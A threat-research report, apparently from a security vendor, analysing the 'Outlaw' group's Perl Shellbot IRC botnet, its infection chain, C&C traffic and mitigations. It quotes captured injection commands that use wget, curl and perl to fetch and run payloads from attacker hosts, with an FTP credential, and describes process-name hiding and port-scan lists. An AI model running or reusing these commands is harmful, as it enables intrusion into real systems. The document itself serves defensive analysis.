We uncovered an operation of a hacking group, which we’re naming “Outlaw” (translation derived from the Romanian word haiduc, the hacking tool the group primarily uses), involving the use of an IRC bot built with the help of Perl Shellbot. The group distributes the bot by exploiting a common command injection vulnerability on internet of things (IoT) devices and Linux servers. Further research indicates that the threat can also affect Windows-based environments and even Android devices.

The threat actors in this recent activity compromised an FTP (File Transfer Protocol) server of a Japanese art institution, as well as a Bangladeshi government site over a vulnerability on Dovecot mail server. They then used two compromised servers and linked them to a high availability cluster to host an IRC bouncer, which was used to command and control the emerging botnet. Aside from finding several exploit files that allowed us to understand how the initial exploit on the first server worked, we also found configuration files of the hackers' toolset that allowed them to target organizations through DoS and SSH brute force, using so-called “class files.” Moreover, this suggests that the threat actors were building a botnet that can be used for cybercriminal purposes. The operation particularly caught our attention after various sensors of our honeypots started to capture new injected commands:

Source Command 107.1.153.75 uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.* 195.154.43.102 uname -a; wget ftp://museum:museum04@153[.]122[.]156[.]232/Mail/n3; rm -rf n3; rm -rf n3.* 218.25.74.221 uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.* 61.8.73.166 uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.* 61.8.73.166 uname -a; wget hxxp://54[.]37[.]72[.]170/n3; curl -O hxxp://54[.]37[.]72[.]170/n3; perl n3; rm -rf n3; rm -rf n3.*;wget hxxp://54[.]37[.]72[.]170/n.tgz;tar -xzvf n.tgz;rm -rf n.tgz;cd .s;./run;cd /tmp 69.64.62.159 uname -a;cd /tmp;wget hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*

Table 1. Commands we identified Note: Source - Source IP address which tried to inject the command; Command - Command as captured by the honeypot sensor utility

Country Taiwan Japan United States India United Kingdom Israel Kuwait Brazil Colombia Germany Switzerland Thailand Bulgaria Greece Italy Malaysia

Table 2. Countries with detections by endpoints (based on Trend Micro Smart Protection Network feedback)

The botnet itself is built with a Shellbot variant with script written in Perl and even available on GitHub. The botnet was previously distributed via an exploit of the Shellshock vulnerability, hence the name "Shellbot." This time, the threat actors mostly distribute it via previously brute-forced or compromised hosts. In order to look into the threat's behavior, we looked into our honeypots with several hosts:

Host #1: The Ubuntu 16.04 based host with Splunk forwarder for monitoring

Host #2: The Ubuntu 16.04 server with Dovecot mail server installed

Host #3: An Android device running Android 7, one of the most popular versions and can be easily rooted

We then monitored the C&C traffic and obtained the IRC channels’ information. By the first infection, around 142 hosts were present in the IRC channel.

How it infects systems

A command is first run on the IoT device or server. In this example, the command "uname -a;cd /tmp;wget hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*" verifies that the host accepts commands from the command-line interface (CLI) with "uname -a". Once the command runs successfully, the working directory is changed to "/tmp". The downloaded payload, n3 file (detected by Trend Micro as PERL_SHELLBOT.SM), is then consequently run with perl interpreter. In the final step of the chain, the n3 file is removed, with no trace of activity left on the attacked system.

Figure 1. Actual payload, with filename n3

Once the bot is installed, it starts to communicate with one of the C&C servers via IRC.

Figure 2. The bot runs as “/usr/sbin/httpd”

Figure 3. Outgoing connection to one of the C&C servers, luci[.]madweb[.]ro

The C&C connection attempt occurs right after the infection and is persistent. In case of lost connectivity, it immediately reconnects once an internet connection is available. At this stage, restarting the infected machine won’t revert the changes done to the system.

To understand the dynamics of the C&C communication better, we also captured the traffic of the infected hosts. Reconstructed Transmission Control Protocol (TCP) streams show in clear text the download of the malicious file and subsequent communication with the C&C servers.

Captured network traffic during the infection

A TCP stream from traffic capture between the infected host and C&C server at the time of the infection below shows that the n3 file was consequently downloaded and run on the target system.

Figure 4. TCP stream from network traffic between the infected host and C&C server

Figure 5. TCP communication stream after the infection

After the infection, the communication shows that it joined the bot's IRC channel and assigned nickname and server configuration information. Modifying Domain Name System (DNS) settings should show and confirm that a real target is involved (not just the honeypot) and that it has visibility to the internet. It also shows the number of processor cores and the type of processor. It also discloses that the Splunk is running on the host by using the command "cat /etc/passwd/" with filtered output. This is to notify the admins that the target device is being monitored or if it has an antivirus (AV) solution installed. It is followed by PING/PONG communication (where the IRC server occasionally sends a PING message, which requires the response of a PONG message to prevent getting disconnected) to keep the communication channel open.

Figure 6. Separate information are sent to IRC admins

There is a list of hardcoded process names Shellbot is assigned when run. These help hide the running bot from system admins, security monitoring, and researchers.

Figure 7. Screenshot from Shellbot’s configuration file with the available process names

Once the Shellbot is running on a target system, the administrator of the IRC channel can send various commands to the host. The list includes commands to perform a port scan, perform various forms of distributed denial of service (DDoS), download a file, get information about other machines, or just send the operating system (OS) information and list of certain running processes on the C&C server.

Possible script functions an IRC command can call

Figure 8. Screenshot of script header with list of available commands

Some of the IRC-related functions seen to have been used were join, part, uejoin, op, deop, voice, devoice, nick, msg, quit, uaw, and die. DDoS-related activity affects User Data Protocol (UDP), TCP, and HTTP traffic.

If a port scan is invoked, the bot always scans the following ports:

Ports 1 7 9 14 20 21 22 23 25 53 80 88 110 112 113 137 143 145 222 333 405 443 444 445 512 587 616 666 993 995 1024 1025 1080 1144 1156 1222 1230 1337 1348 1628 1641 1720 1723 1763 1983 1984 1985 1987 1988 1990 1994 2005 2020 2121 2200 2222 2223 2345 2360 2500 2727 3130 3128 3137 3129 3303 3306 3333 3389 4000 4001 4471 4877 5252 5522 5553 5554 5642 5777 5800 5801 5900 5901 6062 6550 6522 6600 6622 6662 6665 6666 6667 6969 7000 7979 8008 8080 8081 8082 8181 8246 8443 8520 8787 8855 8880 8989 9855 9865 9997 9999 10000 10001 10010 10222 11170 11306 11444 12241 12312 14534 14568 15951 17272 19635 19906 19900 20000 21412 21443 21205 22022 30999 31336 31337 32768 33180 35651 36666 37998 41114 41215 44544 45055 45555 45678 51114 51247 51234 55066 55555 65114 65156 65120 65410 65500 65501 65523 65533

Table 3. Ports scanned by the bot

Sample of network communication captured on infected hosts

This network communication seems to be the output of an XMR rig mining monitoring tool. Code of the tool: root@ubuntu:~$ cat speed.sh i=1 result=`docker ps -q | wc -l` while [ "$i" -le "$result" ] do echo "miner numa $i speed" docker logs minernuma$i | tail -8 | grep speed >> /tmp/minernuma$i.tmp tail -1 /tmp/minernuma$i.tmp rm /tmp/minernuma$i.tmp i=$(($i + 1)) done

Reconstructed TCP streams from the traffic capture of C&C commands

The infected host always gets assigned a nickname of “sEx” along with a randomly generated integer. In this example, the host nickname is “sEx-3635”.

Figure 9. TCP stream with a sample host nickname

All infected hosts also showed base C&C connection in the form of PING/PONG traffic, occasionally asked for updates, and provided some host information like suspicious crontab-like records and process identifier (PID) of the sd-pam process of the user who was running the IRC bot on the system. The following is the information exchange about a host, possibly the bot’s new joiner or another target indirectly scanned over the zombie hosts, the infected host in this case:

Figure 10. Host information exchange TCP stream

Figure 11. One of the spotted identities linked to compromised servers

During the traffic monitoring, several identities such as luci, lucian, dragos, mazy, hydra, and poseidon were spotted in IRC communication channels.

These identities were also found as usernames on a compromised Japanese server. This server seemed to have a certain importance as it was also used to distribute an early version of this N3-Shellbot. The distribution of the dropper, n3 file, was done mostly on the second C&C server. Communication with this server is shown in the following example:

Figure 12. Dragos SSH login

Using the credentials from one of the commands injected into the honeypots, we were able to get downloads of the files that the threat actors used. The files’ contents often changed on the server (some were deleted, while some were added). According to the time correlation, it mostly happened in the daytime (in Central European Time/CET): during business hours and times. The activity never happened at night or on the weekends, suggesting that the threat actors operated on a somewhat daily basis. Find a more extensive run-through of this operation, such as how the IRC bouncer involved comments in the Romanian language, the hacking tools used, exploits related to Ubuntu, and the indicators of compromise (IoCs), in the Appendix.

Preventing compromise from malicious bot-related activities

The Outlaw group here used an IRC bot, which isn’t a novel threat. The code used is available online, making it possible to build such a bot (with a fully undetectable toolset) and operate it under the radar of common network security solutions. Additionally, in this particular operation, it should be noted that the attackers looked into targeting big companies. While we haven’t seen widespread attacks from this hacking group, it is important to adopt security measures that can defend systems against any potential attacks, such as:

Setting up the SSH login process properly. Do not leave it open to public networks unless it is necessary for your infrastructure. Many devices run an SSH service by default, unnecessarily, with default credentials. This is particularly true in the case of network infrastructure devices like switches and firewalls.

Monitoring the commands used on CLI on your systems.

Monitoring non-DNS traffic coming to and from port 53.

Detecting creation of new accounts and regularly verifying that all created accounts are only used for business purposes.

Restricting the use of FTP as much as possible. Not only does it transfer passwords in clear text, but is also usually used for loading the exploit files on local systems. The same goes for the web directories. Any newly created files should be considered suspicious unless they are in an intended folder in the system.

Reconsidering the use of Dovecot mail server, as it has been found to have a buffer overflow vulnerability (and therefore unsecure). Patch it or at least monitor its file directory for unusual files.

Maintaining a mailbox, a contact person, or at least a contact form on your website for reporting any possible abuse or security compromise.



Users can also consider adopting security solutions that can provide protection from malicious bot-related activities through a cross-generational blend of threat defense techniques. Trend Micro™ XGen™ security provides high-fidelity machine learning that can secure the gateway and endpoints, and protect physical, virtual, and cloud workloads. With technologies that employ web/URL filtering, behavioral analysis, and custom sandboxing, XGen security offers protection against ever-changing threats that bypass traditional controls and exploit known and unknown vulnerabilities. XGen security also powers Trend Micro’s suite of security solutions: Hybrid Cloud Security, User Protection, and Network Defense.